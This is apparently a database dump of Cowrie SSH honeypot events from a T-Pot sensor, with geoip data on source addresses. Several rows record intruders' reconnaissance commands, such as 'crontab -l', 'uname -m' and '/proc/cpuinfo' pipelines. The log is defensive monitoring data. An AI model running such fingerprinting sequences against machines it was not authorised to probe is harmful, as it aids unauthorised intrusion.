33616	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:25.623976+03	2021-09-20 15:00:06.086722+03	{"_id": "0QYQA3wBvYTbRNuEg1AL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "110.137.195.172", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4186391830444336, "duplicate": true, "timestamp": "2021-09-20T11:56:25.623976Z", "@timestamp": "2021-09-20T11:56:25.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33617	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:26.325037+03	2021-09-20 15:00:06.088722+03	{"_id": "0wYQA3wBvYTbRNuEhlDw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:26.325037Z", "@timestamp": "2021-09-20T11:56:26.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33618	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:26.324001+03	2021-09-20 15:00:06.089722+03	{"_id": "1AYQA3wBvYTbRNuEhlDx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:26.324001Z", "@timestamp": "2021-09-20T11:56:26.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33619	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:26.731958+03	2021-09-20 15:00:06.091722+03	{"_id": "1QYQA3wBvYTbRNuEhlDx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:26.731958Z", "@timestamp": "2021-09-20T11:56:26.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33620	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:26.324543+03	2021-09-20 15:00:06.092722+03	{"_id": "1wYQA3wBvYTbRNuEhlDy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:26.324543Z", "@timestamp": "2021-09-20T11:56:26.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33621	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:26.944103+03	2021-09-20 15:00:06.094722+03	{"_id": "2AYQA3wBvYTbRNuEhlDy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "120.36.157.98", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.6201357841491699, "duplicate": true, "timestamp": "2021-09-20T11:56:26.944103Z", "@timestamp": "2021-09-20T11:56:26.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33622	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:26.731411+03	2021-09-20 15:00:06.095723+03	{"_id": "2gYQA3wBvYTbRNuEhlDy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:26.731411Z", "@timestamp": "2021-09-20T11:56:26.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33623	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:27.51455+03	2021-09-20 15:00:06.097723+03	{"_id": "3AYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "crontab -l", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:27.514550Z", "@timestamp": "2021-09-20T11:56:27.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33624	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:27.92706+03	2021-09-20 15:00:06.098723+03	{"_id": "3QYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "120.36.157.98", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5770459175109863, "duplicate": true, "timestamp": "2021-09-20T11:56:27.927060Z", "@timestamp": "2021-09-20T11:56:27.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33625	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:27.185605+03	2021-09-20 15:00:06.099723+03	{"_id": "2wYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "110.137.195.172", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.45427918434143066, "duplicate": true, "timestamp": "2021-09-20T11:56:27.185605Z", "@timestamp": "2021-09-20T11:56:27.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33626	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:28.388015+03	2021-09-20 15:00:06.101721+03	{"_id": "4wYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:28.388015Z", "@timestamp": "2021-09-20T11:56:28.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33627	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:29.055829+03	2021-09-20 15:00:06.102722+03	{"_id": "5wYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname -m", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:29.055829Z", "@timestamp": "2021-09-20T11:56:29.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33628	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:29.473821+03	2021-09-20 15:00:06.103722+03	{"_id": "7wYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "110.137.195.172", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4186530113220215, "duplicate": true, "timestamp": "2021-09-20T11:56:29.473821Z", "@timestamp": "2021-09-20T11:56:29.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33629	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:29.79733+03	2021-09-20 15:00:06.104723+03	{"_id": "7AYQA3wBvYTbRNuEklCs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:29.797330Z", "@timestamp": "2021-09-20T11:56:29.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33630	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:25.953126+03	2021-09-20 15:00:06.105722+03	{"_id": "ygYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:25.953126Z", "@timestamp": "2021-09-20T11:56:25.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33631	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:26.372572+03	2021-09-20 15:00:06.107722+03	{"_id": "2QYQA3wBvYTbRNuEhlDy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "110.137.195.172", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4195566177368164, "duplicate": true, "timestamp": "2021-09-20T11:56:26.372572Z", "@timestamp": "2021-09-20T11:56:26.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33632	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:27.514001+03	2021-09-20 15:00:06.108723+03	{"_id": "3gYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:27.514001Z", "@timestamp": "2021-09-20T11:56:27.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33633	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:27.350101+03	2021-09-20 15:00:06.110722+03	{"_id": "3wYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:27.350101Z", "@timestamp": "2021-09-20T11:56:27.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33634	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:27.35065+03	2021-09-20 15:00:06.111721+03	{"_id": "4AYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:27.350650Z", "@timestamp": "2021-09-20T11:56:27.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33635	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:27.943904+03	2021-09-20 15:00:06.112722+03	{"_id": "4QYQA3wBvYTbRNuEilDY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "110.137.195.172", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4300229549407959, "duplicate": true, "timestamp": "2021-09-20T11:56:27.943904Z", "@timestamp": "2021-09-20T11:56:27.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33636	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:28.726524+03	2021-09-20 15:00:06.113721+03	{"_id": "5AYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "110.137.195.172", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41960740089416504, "duplicate": true, "timestamp": "2021-09-20T11:56:28.726524Z", "@timestamp": "2021-09-20T11:56:28.726Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33637	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:28.387476+03	2021-09-20 15:00:06.114722+03	{"_id": "6QYQA3wBvYTbRNuEjlDD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:28.387476Z", "@timestamp": "2021-09-20T11:56:28.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33638	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:25.205949+03	2021-09-20 15:00:06.116722+03	{"_id": "ywYQA3wBvYTbRNuEg1AG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:25.205949Z", "@timestamp": "2021-09-20T11:56:25.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
